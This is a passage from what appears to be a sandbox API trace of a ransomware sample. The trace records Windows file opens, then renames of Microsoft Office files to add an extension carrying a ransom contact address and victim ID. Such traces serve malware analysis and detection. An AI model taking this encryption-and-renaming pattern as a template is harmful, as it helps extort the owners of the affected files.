files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.targetsize-40.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.124] Sleep (dwMilliseconds=0x1) [0243.137] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\AppxSignature.p7x", len=0x64 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\AppxSignature.p7x") returned 1 [0243.137] GetProcessHeap () returned 0x630000 [0243.137] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x539c) returned 0x6fe3bb0 [0243.137] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.155] Sleep (dwMilliseconds=0x1) [0243.166] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\NavColumn_Black\\Icon_Printer Settings.png", len=0x8a | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\NavColumn_Black\\Icon_Printer Settings.png") returned 1 [0243.167] GetProcessHeap () returned 0x630000 [0243.167] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x532c) returned 0x6fe3bb0 [0243.167] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\NavColumn_Black\\Icon_Printer Settings.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\workflow\\navcolumn_black\\icon_printer settings.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.171] Sleep (dwMilliseconds=0x1) [0243.178] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Icon_Printer.png", len=0x71 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Icon_Printer.png") returned 1 [0243.178] GetProcessHeap () returned 0x630000 [0243.178] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5310) returned 0x6fe3bb0 [0243.178] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Icon_Printer.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\workflow\\icon_printer.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.178] Sleep (dwMilliseconds=0x1) [0243.203] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square310x150Logo.scale-100.png", len=0x95 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square310x150Logo.scale-100.png") returned 1 [0243.204] GetProcessHeap () returned 0x630000 [0243.204] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5298) returned 0x6fe3bb0 [0243.204] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square310x150Logo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-white\\square310x150logo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.215] Sleep (dwMilliseconds=0x1) [0243.241] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square44x44Logo.scale-100.png", len=0x93 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square44x44Logo.scale-100.png") returned 1 [0243.241] GetProcessHeap () returned 0x630000 [0243.241] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5254) returned 0x6fe3bb0 [0243.241] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square44x44Logo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-black\\square44x44logo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.255] Sleep (dwMilliseconds=0x1) [0243.287] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Multiply_icon.png", len=0x77 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Multiply_icon.png") returned 1 [0243.287] GetProcessHeap () returned 0x630000 [0243.287] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51b0) returned 0x6fe3bb0 [0243.288] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Multiply_icon.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\multiply_icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.295] Sleep (dwMilliseconds=0x1) [0243.304] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Donut.png", len=0x6f | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Donut.png") returned 1 [0243.304] GetProcessHeap () returned 0x630000 [0243.304] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5184) returned 0x6fe3bb0 [0243.304] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Donut.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\donut.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.316] Sleep (dwMilliseconds=0x1) [0243.342] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-200.png", len=0x6e | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-200.png") returned 1 [0243.342] GetProcessHeap () returned 0x630000 [0243.342] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5110) returned 0x6fe3bb0 [0243.342] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittersmalltile.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.342] Sleep (dwMilliseconds=0x1) [0243.350] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-400_contrast-white.png", len=0x7b | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-400_contrast-white.png") returned 1 [0243.350] GetProcessHeap () returned 0x630000 [0243.350] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50e8) returned 0x6fe3bb0 [0243.350] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-400_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittermedtile.scale-400_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.350] Sleep (dwMilliseconds=0x1) [0243.367] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-150_contrast-white.png", len=0x81 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-150_contrast-white.png") returned 1 [0243.367] GetProcessHeap () returned 0x630000 [0243.367] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5094) returned 0x6fe3bb0 [0243.367] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-150_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterlistsmalltile.scale-150_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.367] Sleep (dwMilliseconds=0x1) [0243.395] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-200_contrast-black.png", len=0x7d | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-200_contrast-black.png") returned 1 [0243.395] GetProcessHeap () returned 0x630000 [0243.395] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5060) returned 0x6fe3bb0 [0243.395] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterlargetile.scale-200_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.395] Sleep (dwMilliseconds=0x1) [0243.415] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-60_contrast-white.png", len=0x7f | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-60_contrast-white.png") returned 1 [0243.415] GetProcessHeap () returned 0x630000 [0243.415] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ff4) returned 0x6fe3bb0 [0243.415] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-60_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-60_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.416] Sleep (dwMilliseconds=0x1) [0243.426] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-60.png", len=0x70 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-60.png") returned 1 [0243.426] GetProcessHeap () returned 0x630000 [0243.426] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fe8) returned 0x6fe3bb0 [0243.426] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-60.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-60.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.426] Sleep (dwMilliseconds=0x1) [0243.448] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-24_altform-unplated.png", len=0x81 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-24_altform-unplated.png") returned 1 [0243.448] GetProcessHeap () returned 0x630000 [0243.448] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f7c) returned 0x6fe3bb0 [0243.448] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-24_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-24_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.448] Sleep (dwMilliseconds=0x1) [0243.501] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-20_contrast-black.png", len=0x7f | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-20_contrast-black.png") returned 1 [0243.501] GetProcessHeap () returned 0x630000 [0243.501] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f70) returned 0x6fe3bb0 [0243.501] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-20_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-20_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.501] Sleep (dwMilliseconds=0x1) [0243.509] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-125_contrast-white.png", len=0x7b | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-125_contrast-white.png") returned 1 [0243.509] GetProcessHeap () returned 0x630000 [0243.509] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f30) returned 0x6fe3bb0 [0243.509] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-125_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.scale-125_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.509] Sleep (dwMilliseconds=0x1) [0243.520] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-100_contrast-white.png", len=0x7b | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-100_contrast-white.png") returned 1 [0243.520] GetProcessHeap () returned 0x630000 [0243.520] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f24) returned 0x6fe3bb0 [0243.520] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.scale-100_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.520] Sleep (dwMilliseconds=0x1) [0243.541] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\1033\\OWSHLP10.CHM", len=0x66 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\1033\\OWSHLP10.CHM") returned 1 [0243.541] GetProcessHeap () returned 0x630000 [0243.541] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ed8) returned 0x6fe3bb0 [0243.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\1033\\OWSHLP10.CHM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\1033\\owshlp10.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0243.542] CloseHandle (hObject=0x6d8) returned 1 [0243.542] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0243.542] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\1033\\OWSHLP10.CHM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\1033\\owshlp10.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\1033\\OWSHLP10.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\1033\\owshlp10.chm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0243.543] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.543] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\1033\\OWSHLP10.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2e1424f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e1424f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e1424f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="OWSHLP10.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OWSHLP~1.FIR")) returned 0x6d5480 [0243.543] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0243.544] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef0c, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m3m") returned 48 [0243.544] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\1033\\OWSHLP10.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\1033\\owshlp10.chm.id-1998248312_[contact-support@elude.in].firex3m"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\1033\\OWSHLP10.CHM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\1033\\owshlp10.chm")) returned 1 [0243.544] Sleep (dwMilliseconds=0x1) [0243.566] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sqlpdw.xsl", len=0x79 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sqlpdw.xsl") returned 1 [0243.566] GetProcessHeap () returned 0x630000 [0243.566] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ec8) returned 0x6fe3bb0 [0243.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sqlpdw.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\sqlpdw.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x608 [0243.610] CloseHandle (hObject=0x608) returned 1 [0243.610] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0243.610] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sqlpdw.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\sqlpdw.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sqlpdw.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\sqlpdw.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0243.611] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.611] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sqlpdw.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b0882a6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0882a6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0882a6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1393e, dwReserved0=0x31002d, dwReserved1=0x390039, cFileName="sqlpdw.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQLPDW~1.FIR")) returned 0x6d4f80 [0243.611] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0243.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 